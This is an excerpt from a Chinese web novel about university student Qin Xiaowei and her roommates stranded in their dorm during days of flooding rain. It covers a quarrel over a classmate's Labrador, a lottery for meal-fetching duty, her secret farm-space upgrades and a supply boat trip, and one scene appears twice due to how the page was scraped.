范槿：“不会打起来吧？米妗妗脾气挺火爆的，裴欣不会被揍吧？” 秦小薇：“要不要叫导员？米妗妗练过拳击，真打起来我怕裴欣扛不过去……” 段霞：“再等等吧！等真动手了咱们过去拦着点，再通知导员……现在通知导员，米妗妗也会挨训，说不定她们吵两句就停下来了。” 米妗妗和她们是同班同学，平时和她们关系也还可以，听到段霞这么说，三人都没再提要找导员的事。 米妗妗噼里啪啦一顿输出后，裴欣的脾气更大了，直接和她吵了起来：“狗有什么好怕的？香肠又不咬人，你也太小题大做了……” 裴欣说话的时候，拉布拉多就在边上“嗷呜嗷呜”地叫，似乎是在附和裴欣。 米妗妗：“什么叫小题大做，人有害怕的东西很正常啊！你不怕老鼠蟑螂吗？” 裴欣：“老鼠蟑螂怎么能和狗相提并论？” “……” 两人越吵声音越大，1206的四人都做好了随时冲出去拉架的准备，但两人吵得正激烈时，裴欣忽然哭了起来。 裴欣：“呜呜呜你以为我不想管吗？香肠不听我的我有什么办法呜呜呜……你们老是来找我，我压力也很大啊，回寝室这几天，我感觉自己都要抑郁了呜呜呜……” 米妗妗：“哎，不是，你哭什么啊？我又没欺负你……” 就算看不到米妗妗的脸，秦小薇都能感受到她声音里的无措，1206的几人也是四脸懵逼。 不是，她怎么又哭了？ 秦小薇指了指自己的脑子，小声吐槽：“裴欣是不是受到了什么打击，精神不正常了？” 范槿：“不知道啊？以前没见她哭过！不过我以前也和她不太熟……” 在四人的小声吐槽中，有人叫来了暴雨期间为了工作方便暂时搬到楼下住的辅导员，辅导员把吵架的两人叫进寝室，还关上了门，隔绝了走廊里众人吃瓜看热闹的视线。 “哎，听不到了！”范槿脸上露出瓜没吃全的遗憾。 肖琳琳晃了晃手机：“我加了林晓晓的微信，我问问她……” 林晓晓就是那天 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据说导员走后，裴欣又哭了起来，不过她的三个室友都没去安慰她，因为这几天，她们也因为拉布拉多遭了不少罪，连带着和同学的关系都变差了。 再加上裴欣现在的精神状态……她三个室友都挺烦她的。 看完了热闹，秦小薇借着上厕所的名义进了趟空间，她先去收了养鸡场的鸡蛋，紧接着又去机场提交了最后一个订单，见屏幕上今天的十笔订单都是“已完成”的状态，秦小薇轻轻呼出一口气。 她现在攒的金币已经够她买养猪场了，不过买猪崽的金币还差一点……希望明天刷出来的订单给的金币能多一点！ 从厕所出来后，秦小薇看了下时间，晚上八点一十七，该睡了。 多睡觉，给手机省点电，免得后面几天手机没电断网！ 范槿和段霞因为手机没电，在下面没事干，也都上了床。 但秦小薇没睡多久，寝室门就被班长敲响了：“你们寝室派个人去406抽签，导员在那边等着。” 简单交代了一句，她就去敲下个寝室的门了。 秦小薇被吵醒后还有些迷糊：“出什么事了？抽什么签？” 肖琳琳：“还不是盒饭那事，听说今天没什么人去当志愿者，学校连救援队伍都凑不齐，食堂只能自己送餐，但人手不够，中午和晚上做的饭菜剩了好多，学院领导就想了个办法，让每栋寝室自己安排人去教学楼拿饭，大家都不想去，导员就在群里说让我们抽签，抽到的寝室派一个人去教学楼取饭……” 秦小薇拿出手机看了一眼，群消息又变成了999+，她懒得往上翻，便直接问：“那咱们寝室派谁去抽签？” 肖琳琳：“我去吧！那么多寝室呢！就抽几个人，咱们1206应该不会这么倒霉。” 躺在秦小薇对面的范槿幽幽来了一句：“琳琳，这种时候可不能立FLAG。” 第19章【VIP】 第19章 第19章免费充电 【辅导员－赵琪：今天有很多同学反映食堂早餐供应时间严重缩短的问题,院学生会了解情况后第一时间联系了食堂负责人，得到的回复是食堂目前存粮并不紧张，但由于大批量学生退出志愿者队伍、教学楼内做饭不方便、需要供应的餐点数量变多等问题,食堂的人手严重短缺,分不出太多人手来宿舍楼送餐,只能减少每栋宿舍楼的供餐时间。】 【辅导员－赵琪：图片.jpg】 【辅导员－赵琪：照片里是食堂今天早上没卖完的早饭。】 【辅导员－赵琪：希望大家能踊跃报名当志愿者，为同学们解决物资运送问题,想报名的同学可以直接联系各班班委。】 辅导员的消息发出来后,群里原本还在表达不满的学生一下子哑火了。 今天是暴雨的第四天，从第一天开始,每天都有志愿者在群里求药，刚开始是退烧药，昨晚已经有人开始求感冒药了。 虽然并不是所有志愿者回来后都会生病,但在大家心里,当志愿者已经和大病一场划上等号了。 想到了要去当志愿者才有饭吃，秦小薇忽然就觉得，自己也不是那么爱吃米饭,就剩五天半了，吃点零食她也能凑合下去！ 没过多久,辅导员又在群里公布了当志愿者的“福利”,比如包饭，饭菜随便吃，红糖姜茶免费喝,办公楼那边在用发电机发电，去那边当志愿者还可以免费充电等等。 不得不说，最后一条免费充电让部分学生有些心动，今天是暴雨第四天,有些重度网瘾的学生手里的电子产品已经罢工了。 秦小薇没再管群里的消息，关掉聊天软件继续打游戏。 三个室友昨天睡得比较“早”，今天十点多就醒了。 吃货范槿还没下床就关心起今天的午饭：“薇薇，你给我带了什么早饭……不是，中饭？” 秦小薇摇头：“今天没买到早饭，排了一个小时队，快轮到我的时候阿姨开船走了……你看群消息吧！” 范槿冲着她摊了摊手：“你详细和我说说……我手机前天就没电了，昨天晚上阿霞充电宝里的电也被我用完了，所以……我和阿霞现在都是断网的状态。” 秦小薇便复述了一遍事情的详细经过。 范槿的关注点有点偏：“去当志愿者真的能充电？” 秦小薇对她这种为了上网不要命的想法十分无语：“你忘了自己发烧的时候有多难受了？你感冒都还没完全好呢……导员送来的那盒退烧药就剩一粒了！” 昨天男寝那边有几个人发烧了没药，辅导员在群里鼓励大家互相帮助，因为是关系还不错的同班同学，她们寝室就贡献了一部分退烧药和感冒药，退烧药就只留了四粒应急。 在她们说话的时候，其余两个室友也醒了，其余两人也劝范槿：“饭饭，再忍几天，那点电不值得你再发一次烧。” 范槿吐了吐舌头，没再多说什么。 四人午餐吃的都是泡面。 吃完饭后，范槿冲着 秦小薇露出一个讨好的笑：“薇薇，能不能借你的手机用一下？昨天视频发出去之后，我还没来得及看粉丝的反馈！” 因为前天的视频收到了不少赞，昨天师傅来她们寝室钻孔的时候，她又拍了个视频，更新到自己的主页上。 “行！”秦小薇关注了范槿的视频账号，她直接打开了她的主页，“咦，已经有五万赞了，评论也有好几千，饭饭，你是不是要火了……” “真的吗？”范槿兴奋地把脑袋凑了过来，她坚持拍视频好几年了，最“火”的一条视频也就一万多赞。 她就着秦小薇的手，点开了最新视频，和她一起翻看评论区。 评论区基本上都是学生，大部分人都碰到了寝室进水的问题。 预警短信发出来之后，火车票和飞机票变得非常难买，就连高速都开始堵车，大学生基本上来自五湖四海，有些学校担心放学生回家他们会堵在路上出事，干脆把学生都留在学校里。 像他们Q大，暴雨期间，学生想回家得让家长写保证书、发视频，辅导员还得确认外地学生的车票情况…… 有些学校阳台的构造和他们学校不一样，侧面没有排水管，但阳台是金属围栏，最下面是一截水泥，被水泥围着的那一部分水怎么都流不出去，学生们手动用杯子、盆往外泼水；还有些学校没有阳台，只有几扇很大的窗户，水是从窗户缝流进寝室的…… 评论区有些是在求助，大部分则是在感叹，Q大的办事效率高，这么快就解决了阳台积水的问题。 从没一次性收到过这么多回复，范槿看得津津有味。 范槿：“薇薇，你的手机能不能借我回复几条消息，我回完就还给你！我保证不用太久……” 她知道自己是个重度网瘾少女，昨天已经霍霍掉室友一个充电宝了，就没和秦小薇提借充电宝充电的事。 秦小薇拿出自己工作用的二手机，开机递给她：“你用这部手机回复吧！可以登自己的账号……” “薇薇，你太好了，MUA~”范槿给她抛了一个飞吻。 没过多久，范槿就把手机递了回来：“薇薇，你的手机一直有消息弹出来，你要不要回复一下？” 秦小薇接过手机看了一眼，是经理在群里@大家，让他们假期也别忘了联系亲朋好友推销纪念币和理财产品，创造业绩。 她直接退出聊天软件：“不用管，我现在的人设是一个手机没电被困学校寝室的断网女大学生，收不到领导的消息……” 看到她摆烂的态度，范槿有些惊讶：“你不怕上司不高兴吗？” 秦小薇摆了摆手，无所谓道：“他喜欢生气就生气呗，只要生气乳腺增生的不是我就行了……” 她又不想转正，那么点工资，也就能买她工作日在银行的时间了。 “你牛！”范槿冲着她比了个大拇指。 “薇薇，你看这个，这个人好厉害啊！竟然用竹管搭架子把家里的水引出去了……”范槿向寝室里几人展示评论区的live图。 屏幕里，制作者只用了几根弯曲的竹管，就把开放阳台的水引出去了，不像评论区其他人一样拿着脸盆一盆盆往外面舀，确实很方便。 “这人物理肯定学得很好！”秦小薇感叹了一句。 “高手在民间啊！”段霞也很佩服他的想法。 —— 晚上那顿，范槿她们原本是想早点下去排队买饭的，但是下楼看到二楼楼道里面的场景后，三人都被劝退了。 白天下了一天的雨，二楼走廊里的积水已经涨到大腿了，但卖饭的船依旧停在二楼走廊尽头的窗户里。 早上秦小薇在靴子外面多套几层垃圾袋还能防水，现在就算穿着高帮的防水雨靴，那些浸泡着排泄物的污水也会把大家的裤子、鞋子、袜子都弄湿。 等她们买完饭回来，估计身上都要被腌入味了。 况且现在还不能洗热水澡…… 就算是不爱干净的男生，在一顿不吃和为了一顿吃不饱的盒饭被粪水腌透之间，也会选择前者。 寝室住了这么多人，校领导不会放任学生继续吃不饱肚子的，按照这几天学校处理突发情况的速度，最多两天，事情肯定能解决！ 毕竟大家都提前囤了食物，一两天不吃盒饭也不会挨饿。 包括秦小薇在内，所有人都觉得校方会很快给出解决方案。 秦小薇晚上吃的是蛋糕和水果，其余三位室友则是泡面加各种小零食，女生寝室不少人都在吃泡面，走廊里几乎全是泡面的香气，连带着走廊里那些垃圾的臭味都被这股香气压下去了。 “你们看这个视频，我们学校有男生改造了自己的无人机，用无人机去教学楼买饭了！”肖琳琳的声音吸引了几人的注意。 秦小薇叼着个苹果，就走了过去。 肖琳琳正在看一个视频，视频的开始，是他们学校某个男寝，画面一转，无人机冲进了雨幕中，越飞越高，隔着重重雨幕，带着屏幕外的人俯瞰整个校区。 一眼望去，Q大老校区全是水，绿化带几乎看不到了，只有道路两旁那些百年古树还能从水中冒头…… 虽然停课了，但是教学楼依旧非常“热闹”，学生们上课用的桌子被拼凑成了睡觉的床，放东西的临时置物架……一间教室住了几十人，各种杂物堆得满地都是，看起来乱糟糟的。 相比之下，她们散落了不少垃圾的寝室楼道都显得干净整洁起来…… 刚开始，秦小薇还在关注无人机怎么取饭，但很快，她就被视频里的其他细节吸引了注意力。 “刚刚是不是有人在烧桌子取暖？”秦小薇忽然开口问道。 “啊，有吗？我看看……”肖琳琳把进度条往回挪了一点，还开了0.5倍速慢放。 秦小薇伸手按了暂停：“就是这里！” “真的唉！好像是在烤衣服，这个人是不是衣服湿了没有干衣服穿？” “那也不能拿教室的桌子当燃料吧？” “学校应该会让他们赔钱吧？” “……” 虽然她们觉得烧桌椅的行为不太对，但也没讨论太久，毕竟外面的雨实在是太大了，被雨淋湿了会生病，现在药品紧缺，他们烧桌椅烤衣服也是没办法…… 肖琳琳调整了播放速度，继续播放视频。 食堂阿姨看到无人机后非常惊讶，但她们看到无人机上用塑料袋包着的纸条后，还是把饭“卖”了出去，打包的阿姨还非常贴心地用塑料袋多包了几层防水。 “没想到无人机这么有用！早知道我也买一个！”范槿看着那一大包加了量的盒饭满脸羡慕。 段霞：“没必要哈！饭饭，以你的性格，肯定会忘记充电的。” 范槿：“……”【你现在阅读的是 】 第20章【VIP】 第20章 第20章抽签 看完了热闹,三人又回了自己的床位。 “汪呜——”1206的几人忽然听到了一阵狗叫。 因为手机没电，天黑之后范槿只能在自己的椅子上傻坐着，她觉得很无聊,听到声音后,她的八卦雷达瞬间启动,立刻打开寝室的房门，探头朝走廊看去。 暴雨这几天,裴欣她们寝室在这几层都出名了,当然，这“名”是恶名。 最开始的时候,是因为她带了一辆拉布拉多回来，大家都很好奇，纷纷跑过去围观。 学校校规规定了不能在寝室里养狗,有些学生就算养宠物,也是偷偷地养小型犬，几乎没人选择养拉布拉多这样的大型犬。 后来大家不喜欢她，是因为拉布拉多“事”太多了,门口经过了陌生人要叫，打雷受到了惊吓也要叫……她们寝室附近的女生都觉得很烦,有些比较敏感的女生,晚上被吵得根本睡不着。 暴雨第一天的时候，就有人因为这件事半夜和裴欣吵了一架。 拉布拉多还翻垃圾，把大家打包好的垃圾袋咬得乱七八糟,走廊里也因此变得又脏又臭，但裴欣跑去她男朋友那住了，大家想说理都找不到事主，只能憋着。 再后来,它救了一只小奶猫回来，不少人觉得新奇，还特地跑去401围观救回来的小奶猫…… 昨天晚上，裴欣终于回来了，一晚上，她们寝室去了无数人，都是去告拉布拉多的状的。 违反校规在寝室养大狗，还给同学造成了困扰，这本来就是裴欣的错，只要她滑跪道歉，管好狗，再把走廊的垃圾打扫一下……很多女生都对毛茸茸有天然的好感，大家也不会和一条狗计较。 但裴欣不知道为什么，昨天晚上和人说着说着就哭起来了，声音特别大，弄得好像过去“告状”的女生欺负她一样，弄得那个女生特别尴尬，附近看热闹的女生看不过去，就说了裴欣几句，然后……她们就打起来了。 最后还是导员来了，才把事情压下去，裴欣也被贴上了“不好相处”“事精”“绿茶”的标签…… 昨晚十分热闹，秦小薇也跟着大家一起看了会热闹。 这会听到狗叫，范槿的第一反应就是又有热闹可以看了，毕竟昨晚裴欣和人吵架的时候，拉布拉多没少在边上“助威”…… 走廊里黑黢黢的，应急灯因为长时间的停电早就不亮了，但走廊里的说话声却能清晰地传进1206四人的耳朵里。 “……香肠找你要吃的你不给不就行了，一直来找我，烦不烦啊？” 听到裴欣略有些暴躁的声音，1206的四个人都来了精神，秦小薇放下手机，她打开USB台灯，拆了一包瓜子，默默把椅子往门的方向挪了挪。 “吃瓜子吗？”其余三人点头，默默瓜分了瓜子，耳朵竖得老高。 秦小薇探头朝外面看了一眼，发现外面好几间寝室的门缝里都透出了光，看来大家都在偷偷吃瓜！ 去找裴欣的女生似乎是被她的态度气到了，忍不住怼道：“你怎么说话的呢！什么叫一直来找你？我今天第一次来好不好？你养的狗前天把我们寝室门口的垃圾袋咬破了，垃圾散得到处都是，我都没说什么，自己打扫了……今天它跑到我们寝室要吃的，我们不给，它就在我室友脚上尿尿，我室友怕狗，我才来找你的……” 秦小薇几人听了一会，大致明白了事情的经过。 像学校寝室这种地方，确实不适合养大狗，很容易造成同学之间的矛盾……尤其是现在特殊情况，狗不能放出去遛，多余的精力大概率会拿来拆家。 1206四个人的脑袋凑在一起，小声吐槽着。 段霞：“裴欣怎么这样啊！这事明明就是狗的错，她不道歉还这么嚣张……” 肖琳琳：“之前她来拿水果的时候，我还以为她是那种又害羞又腼腆的人，没想到……啧啧，人不可貌相啊！” 范槿：“不会打起来吧？米妗妗脾气挺火爆的，裴欣不会被揍吧？” 秦小薇：“要不要叫导员？米妗妗练过拳击，真打起来我怕裴欣扛不过去……” 段霞：“再等等吧！等真动手了咱们过去拦着点，再通知导员……现在通知导员，米妗妗也会挨训，说不定她们吵两句就停下来了。” 米妗妗和她们是同班同学，平时和她们关系也还可以，听到段霞这么说，三人都没再提要找导员的事。 米妗妗噼里啪啦一顿输出后，裴欣的脾气更大了，直接和她吵了起来：“狗有什么好怕的？香肠又不咬人，你也太小题大做了……” 裴欣说话的时候，拉布拉多就在边上“嗷呜嗷呜”地叫，似乎是在附和裴欣。 米妗妗：“什么叫小题大做，人有害怕的东西很正常啊！你不怕老鼠蟑螂吗？” 裴欣：“老鼠蟑螂怎么能和狗相提并论？” “……” 两人越吵声音越大，1206的四人都做好了随时冲出去拉架的准备，但两人吵得正激烈时，裴欣忽然哭了起来。 裴欣：“呜呜呜你以为我不想管吗？香肠不听我的我有什么办法呜呜呜……你们老是来找我，我压力也很大啊，回寝室这几天，我感觉自己都要抑郁了呜呜呜……” 米妗妗：“哎，不是，你哭什么啊？我又没欺负你……” 就算看不到米妗妗的脸，秦小薇都能感受到她声音里的无措，1206的几人也是四脸懵逼。 不是，她怎么又哭了？ 秦小薇指了指自己的脑子，小声吐槽：“裴欣是不是受到了什么打击，精神不正常了？” 范槿：“不知道啊？以前没见她哭过！不过我以前也和她不太熟……” 在四人的小声吐槽中，有人叫来了暴雨期间为了工作方便暂时搬到楼下住的辅导员，辅导员把吵架的两人叫进寝室，还关上了门，隔绝了走廊里众人吃瓜看热闹的视线。 “哎，听不到了！”范槿脸上露出瓜没吃全的遗憾。 肖琳琳晃了晃手机：“我加了林晓晓的微信，我问问她……” 林晓晓就是那天和秦小薇一起叫拉布拉多回寝室的女生，因为救助小奶猫，一来二去，1206的几个人和她熟悉起来，肖琳琳还和她交换了联系方式。 肖琳琳从她那知道了不少裴欣的事，她似乎很不喜欢裴欣这个室友，每次聊到裴欣都要“大吐苦水”。 据说裴欣以前虽然不讨喜，但性格没这么讨厌，这次回来以后，她跟变了个人似的。 室友在寝室聊追的明星，她会忽然来一句“你们是不是看不起我”；还会在室友聊同班同学八卦的时候，忽然趴桌上哭……总之就非常难评。 秦小薇贡献出自己的充电宝让肖琳琳充电：“快问问她，能不能给我们现场直播？” 不喜欢的室友被辅导员训了，林晓晓对于直播室友倒霉这件事非常热情，她甚至直接拉了个群…… 见此，1206原本坐在门口的四人换了地方，她们围着肖琳琳的手机，继续嗑瓜子吃瓜。 两个学院的导员都很忙，处罚结果很快就出来了，米妗妗除了被教育了一顿，还被罚做蛙跳，裴欣她们导员手段“温和”一些，只让她写3000字的检讨。 据说导员走后，裴欣又哭了起来，不过她的三个室友都没去安慰她，因为这几天，她们也因为拉布拉多遭了不少罪，连带着和同学的关系都变差了。 再加上裴欣现在的精神状态……她三个室友都挺烦她的。 看完了热闹，秦小薇借着上厕所的名义进了趟空间，她先去收了养鸡场的鸡蛋，紧接着又去机场提交了最后一个订单，见屏幕上今天的十笔订单都是“已完成”的状态，秦小薇轻轻呼出一口气。 她现在攒的金币已经够她买养猪场了，不过买猪崽的金币还差一点……希望明天刷出来的订单给的金币能多一点！ 从厕所出来后，秦小薇看了下时间，晚上八点一十七，该睡了。 多睡觉，给手机省点电，免得后面几天手机没电断网！ 范槿和段霞因为手机没电，在下面没事干，也都上了床。 但秦小薇没睡多久，寝室门就被班长敲响了：“你们寝室派个人去406抽签，导员在那边等着。” 简单交代了一句，她就去敲下个寝室的门了。 秦小薇被吵醒后还有些迷糊：“出什么事了？抽什么签？” 肖琳琳：“还不是盒饭那事，听说今天没什么人去当志愿者，学校连救援队伍都凑不齐，食堂只能自己送餐，但人手不够，中午和晚上做的饭菜剩了好多，学院领导就想了个办法，让每栋寝室自己安排人去教学楼拿饭，大家都不想去，导员就在群里说让我们抽签，抽到的寝室派一个人去教学楼取饭……” 秦小薇拿出手机看了一眼，群消息又变成了999+，她懒得往上翻，便直接问：“那咱们寝室派谁去抽签？” 肖琳琳：“我去吧！那么多寝室呢！就抽几个人，咱们1206应该不会这么倒霉。” 躺在秦小薇对面的范槿幽幽来了一句：“琳琳，这种时候可不能立FLAG。”【你现在阅读的是 】 20-30 第21章 第21章升级 一个多小时后,肖琳琳垂头丧气地回来了：“我对不起你们，我手气太臭了……” 秦小薇原本都快等睡着了，听到她的话,瞬间睡意全消,她掀开床帘,不可置信地看着肖琳琳：“不是有好几百个人一起抽签吗？” 肖琳琳苦着脸点头：“刚开始群里说一天抽八个人，剩下五天,一共抽四十个人就行了,但是抽完签以后有人说来回送餐很辛苦，外面还一直在下雨,一天淋三次雨有些女生的身体可能吃不消；有人说自己可以不吃盒饭，不想去；还有人说自己来大姨妈了不能着凉……反正就是觉得太辛苦了，各种找理由不愿意去。” “后面辅导员发火了她们才停下来,后来就变成了一餐抽八个人,一共抽一百二十个人，咱们这栋楼四百多间寝室，差不多四分之一的概率抽到,导员说抽到签的寝室必须派人去取餐，不能找借口……唉,咱们怎么不能学学男寝那边,听说那边十几分钟就弄完了。” 秦小薇叹了口气，四分之一的概率，肖琳琳抽到签似乎也不算特别倒霉。 秦小薇烦躁地踢了两下被子：“学校为什么不干脆给我们发速食？或者让我们两天买一次饭,一次买六份……现在一份盒饭这么少，他们肯定能做出来的！” 肖琳琳也跟着叹气：“不知道他们怎么想的……第一轮抽完我还挺开心的，没想到第二轮中奖了。” 段霞：“什么时候轮到咱们寝室？” 肖琳琳摇头：“不知道，导员登记了我们的寝室号,说晚点在群里公布。” 秦小薇知道这事算是定下来了，就算她们四个接下来几天不吃盒饭，也躲不过取餐的事，毕竟她们还是学生，胳膊再怎么粗也拧不过学院老师的大腿。 她想了想，开口问道：“那咱们寝室谁去？” 屋里一下子安静下来，其余三人都没有说话，显然，大家都不想去。 片刻之后，寝室长段霞开口“主持大局”：“猜拳吧！最后输了的去。” “行吧！”秦小薇爬下了床。 一番“激烈”的角逐后，秦小薇输给了范槿。 秦小薇：“……”今天运气好差！ 她生无可恋地继续叹气：“对了，咱们寝室剩下的退烧药和感冒药别分出去了，给我留着吧！我先睡了，说不定明早第一批就轮到我了……” 肖琳琳有些愧疚地开口道：“薇薇，我盯着群里的消息，要是第一批轮到你了我再叫醒你！” “嗯……”秦小薇应了一声，爬上床塞好床帘，很快陷入梦乡。 她戴着耳塞一觉睡到了天亮，中途没再被什么声音吵醒。 第二天早上起床后，秦小薇没急着去空间完成双倍经验和双倍金币的订单，她坐在床上，先打开手机看群消息，取餐安排昨天晚上就出来了，辅导员做了个表格，她们寝室负责取明天晚上那顿快餐。 希望明天她干活的时候雨能小一点！ 看完了“排班”，秦小薇才进空间，她这两天完成订单比较积极，原本只剩一点的进度条在她又提交了两笔订单后直接满了。 秦小薇面前弹出一个正在放烟花的虚拟屏幕，烟花过后，系统提示她升到了22级，养猪场、猪崽、炭烤培根都解锁了，除此之外，系统还奖励了她两个装饰用的花盆，而原本填满的经验条又被清空了。 秦小薇从仓库里拿出花盆看了一眼，花盆里种的是粉色和蓝色的绣球花，开得正热烈，虽然是“装饰”用的假花，但绣球花看起来和真花没什么区别，她凑近还能闻到花香…… 等回家了可以放卧室里，应该会很漂亮！ 安排好绣球花的去处后，秦小薇又去了商店，原本灰色的养猪场和猪崽都解锁了，养猪场可以买一间，猪崽她目前可以买六头。 猪崽的详细介绍上写着，猪崽只需要定时投喂饲料，就可以每天收获一份培根，猪崽并不需要重复购买。 秦小薇：“……”猪只要吃饲料就能每天割肉还不死，不愧是你，农场空间！ 秦小薇现在的金币就只够买一间养猪场和三头猪崽，她打开仓库看了看，还是没把已经积攒了好几百份的爆米花和面包卖出去。 算了，还是继续做订单攒金币吧！爆米花和面包毕竟是小摊上的固定商品，还是拿去卖钱吧！ 养猪场虽然只能养六头猪，占地面积却不小，一间养猪场就占了大半亩地。 购买成功后，秦小薇调整了一下空间里的建筑，把养猪场放在养牛场边上，方便她每天“巡视”。 放置成功后，地面上一个“工地”拔地而起，十几个穿着工作服的“人”在脚手架上忙碌着。 这些工人虽然看着和普通人没什么区别，但他们只会重复手上的动作，秦小薇找他们说话他们也不会搭理她，她一直觉得他们可能是某种高科技仿生机器人…… 和黑土地一样，施工开始后，工地上方出现了一个巨大的倒计时：71:59:59 秦小薇算了下时间，按照目前的进度，暴雨第九天的时候，她刚好能尝到零食厂生产的炭烤培根。 用钓竿钓上来的鱼肉和虾肉得在海鲜餐厅加工，但是秦小薇农场等级比较低，还没解锁海鲜餐厅，想吃只能自己开火，刚刚解锁的炭烤培根算是农场解锁的第一款肉类零食。 想到工坊出产的各种食物的味道，她特别期待炭烤培根的到来…… 给工坊和黑土地安排好生产任务后，秦小薇进了自己放杂物的那几个房间，试图找出一些明天能用得上的“装备”。 其实像之前负责打孔的那三位师傅一样，里面穿一件连体防水衣，外面套个雨衣，头上戴一个密封性比较好的头盔，再戴上连体衣和雨衣的帽子，还是可以隔绝大部分雨水的。 但是……他们学校就只给志愿者发雨衣和头盔，有些头盔接缝的地方还会漏水，秦小薇自己的挡雨装备也只有雨衣、头盔和伞。 她又去商店里看了看，商店里船、车子、路灯、树木之类的“装饰物”不少，但能穿在身上的……一样没有。 秦小薇看了半天，叹了口气，离开了农场空间。 快八点的时候，群里有人发了消息，说可以去三楼走廊买早饭了，还拍了照片。 秦小薇叫醒三个室友，问了她们要吃什么，才拿着校园卡下去。 出门的时候，她惊讶地发现，一夜过去，原本乱糟糟的走廊竟然“整洁”了许多，地上依旧有许多泥脚印，但散落满地的垃圾已经重新被垃圾袋装起来了。 秦小薇猜测是裴欣连夜收拾的，就是不知道是她自愿干的，还是辅导员让她干的…… 三楼走廊里堆了不少泡沫箱——二楼实在是太臭了，基本上没人愿意走二楼。 几个女生站在泡沫箱后面，正在组织大家买早餐。 秦小薇注意到，今天负责收钱的食堂阿姨并没有出现，刷卡机在一个穿着雨衣的女生手里。 难道负责拿饭的学生还要管账？要是出错了算谁的？ 几个女生刚开始还有些手忙脚乱，忙活了一会，她们就熟练起来了，秦小薇很快就买到了心仪的早餐。 几个室友昨晚睡得很早，今天没再睡懒觉，秦小薇回寝室的时候，她们已经洗漱完了。 “好饿啊！终于可以吃早饭了！”范槿从她手里接过袋子，“薇薇，我手机没电了，没法转账，待会给你现金。” “行。”秦小薇在自己的椅子上坐下，拆开饭盒， 开始吃早饭，但只吃了一口，她的眉头就皱了起来，“炒面的口感好奇怪啊！今天的早饭不会是昨天剩下的吧？” 范槿：“我的黑米粥和包子还行哎！” 段霞：“我的糖包面皮有点回生，小米粥味道挺正常的……唉，食堂怎么这样，就不能好好做饭吗？老是出幺蛾子……” 虽然嘴里抱怨，但秦小薇买回来的早餐并没有变质，几人还是把早饭都吃完了。 上午没什么事，几人还去401探望了前几天救的那只小奶猫，临时医务室的学长学姐虽然不是兽医专业的，但他们把小奶猫照顾得很好，现在它已经能正常吃东西了。 小奶猫在一栋非常受欢迎，算是一栋团宠般的存在，每天都能收到很多东西，比如玩具、自制猫窝、小衣服……大家还很喜欢给它起名字，据不完全统计，它现在已经有七个名字了…… 不过就算每天“接客”，小奶猫的胆子依旧很小，看到陌生人就往猫窝的角落里钻，还会把脑袋埋进猫窝里垫的衣服中。 它似乎是觉得，把脑袋藏住，陌生人就看不到它了…… 秦小薇和室友蹲在纸箱前，被小奶猫毛茸茸的背影萌得肝颤。 两个值班的医学生已经习惯了宿舍楼的女生组团来401吸猫，并没有管她们，依旧坐在一旁看书抄病历。 这几天方庆都是晚上值班，可能是因为作息不一样，秦小薇收到他的消息不是晚上就是凌晨，那时候她基本上都睡了，每次回消息都隔上好几个小时，他们之间的交集也越变越少。 四人在纸箱边上蹲了二十多分钟，直到又来了一批吸猫的，猫窝边上挤不下了，她们才依依不舍地离开。 第22章 第22章外出 连着断电好几天,不少学生充电宝里的电量都开始告急，为了省点电联系家人，有些人直接把手机关机了,大家闲着无聊,便聚在一起找乐子,平时性格内向的女生也开始“出门”社交。 打牌、下棋、搓麻将、玩狼人杀，宿舍里是禁止赌博的,被抓到了还要写检讨,她们体院的还要额外被体罚，但现在导员忙得不可开交,根本没时间管她们，众人也就开始放飞自我…… 秦小薇在Q大上了两年学，以前她在12楼就只认识同班同学,同楼层的其他人就算眼熟对方的脸,走在路上碰到了，她们也不会互相打招呼。 但这两天，因为总是一起玩游戏,以前不太熟的同学一下子变得熟络起来，她的列表也多了不少好友。 中饭秦小薇担心买到剩饭,就没下去,她的三个室友倒是都去了，中午的盒饭又变成了十块钱一份，分量和没下雨的时候差不多,但都是素的，菜里面只能看到一点肉沫……就像秦小薇猜测的那样，饭菜都是剩的，口感非常差。 到了晚上,盒饭又变成了五块钱一份，分量变少了，味道倒是正常了，秦小薇下楼买了一份，就着暴雨前准备的饼干和圣女果填饱了肚子。 暴雨第五天，除了要频繁进出空间完成机场的订单，秦小薇白天基本上在各个寝室乱窜，不是打牌就是玩狼人杀，下午还有人邀请她一起搓麻将，她原本是不懂规则的，连那些牌的名字都叫不全，但被其他人带着，竟然也稀里糊涂地跟着玩了一个下午。 她觉得还挺神奇的…… 五天没洗头，她的头发已经油得打缕了，每次摸到自己的头发，秦小薇都觉得自己好脏，想要冲进空间把自己从头到脚狠狠搓一遍，但三个室友都在，她只能打消这个念头。 她现在特别怀念暴雨之前能每天洗澡的日子。 很快，时间就到了第六天下午，下午四点，秦小薇告别了三个室友，穿着雨衣，去了三楼。 连着下了六天暴雨，二楼已经完全被淹了，三楼走廊里也多了不少积水，不过三楼的水位现在还不到脚踝，学生们留在厕所里的排泄物还没混入其中，三楼走廊暂时还能用。 秦小薇估计，等到了明天，她们的取餐点可能就要改成四楼了。 走廊尽头站着几个已经换好了雨衣的女生，窗户外面停着一艘船，船上空空荡荡，只有不断蓄积的雨水。 见秦小薇来了，其中一个女生主动问她是不是今天的“取餐员”，得到肯定的答案后，女生递给她一套装备——一顶里外全湿的头盔，一件雨衣外加一个防水手机袋。 头盔因为这几天一直被人戴着，闷在头上，汗味和潮湿的水腥气混合出一股奇怪的味道，雨衣上也是一股潮湿的塑胶味。 秦小薇不想把头发弄得更脏，她戴上雨衣的帽子，把女生给的装备穿在外面。雨衣的帽子有点大，戴上帽子再戴头盔让她的脑袋硌得很难受，但现在是特殊情况，就算不舒服她也只能忍着。 她们等了五分钟，人就来齐了，众人利用窗口悬挂着的绳梯爬到船上。 秦小薇运动神经发达，三两下就下去了，但有两个不会游泳的女生很害怕，一直不敢下来，船上的人又是哄又是劝，她们才从窗口爬下来。 学校的送餐船和公园里的观光船差不多大，为了运送物资，船舱里大半的固定座位都被拆了，船身有些褪色，看得出来，这条船已经用了很久了，应该是学校从某个景点借过来的。 这次的坐船体验和秦小薇以往在空间里开船的感觉完全不一样，外面风雨很大，船身十分颠簸，她在船舱里几乎站不稳，有种随时都会摔倒的感觉。 虽然船舱上方安了防水棚，但防水棚并没有起到太大的作用，座位上全是水，秦小薇用手在座椅上狠狠抹了几下，把积水抹掉，才坐下去，虽然隔着两层雨衣，但她坐下去之后，依旧觉得屁股凉凉的。 送餐船上有一个负责开船的志愿者，是个男同学，是辅导员担心她们不会开船专门从男寝找过来的，上船后，他指挥众人用座位下面的小号脸盆往外面舀水：“积水得及时舀出去，积水太多船会沉的……” 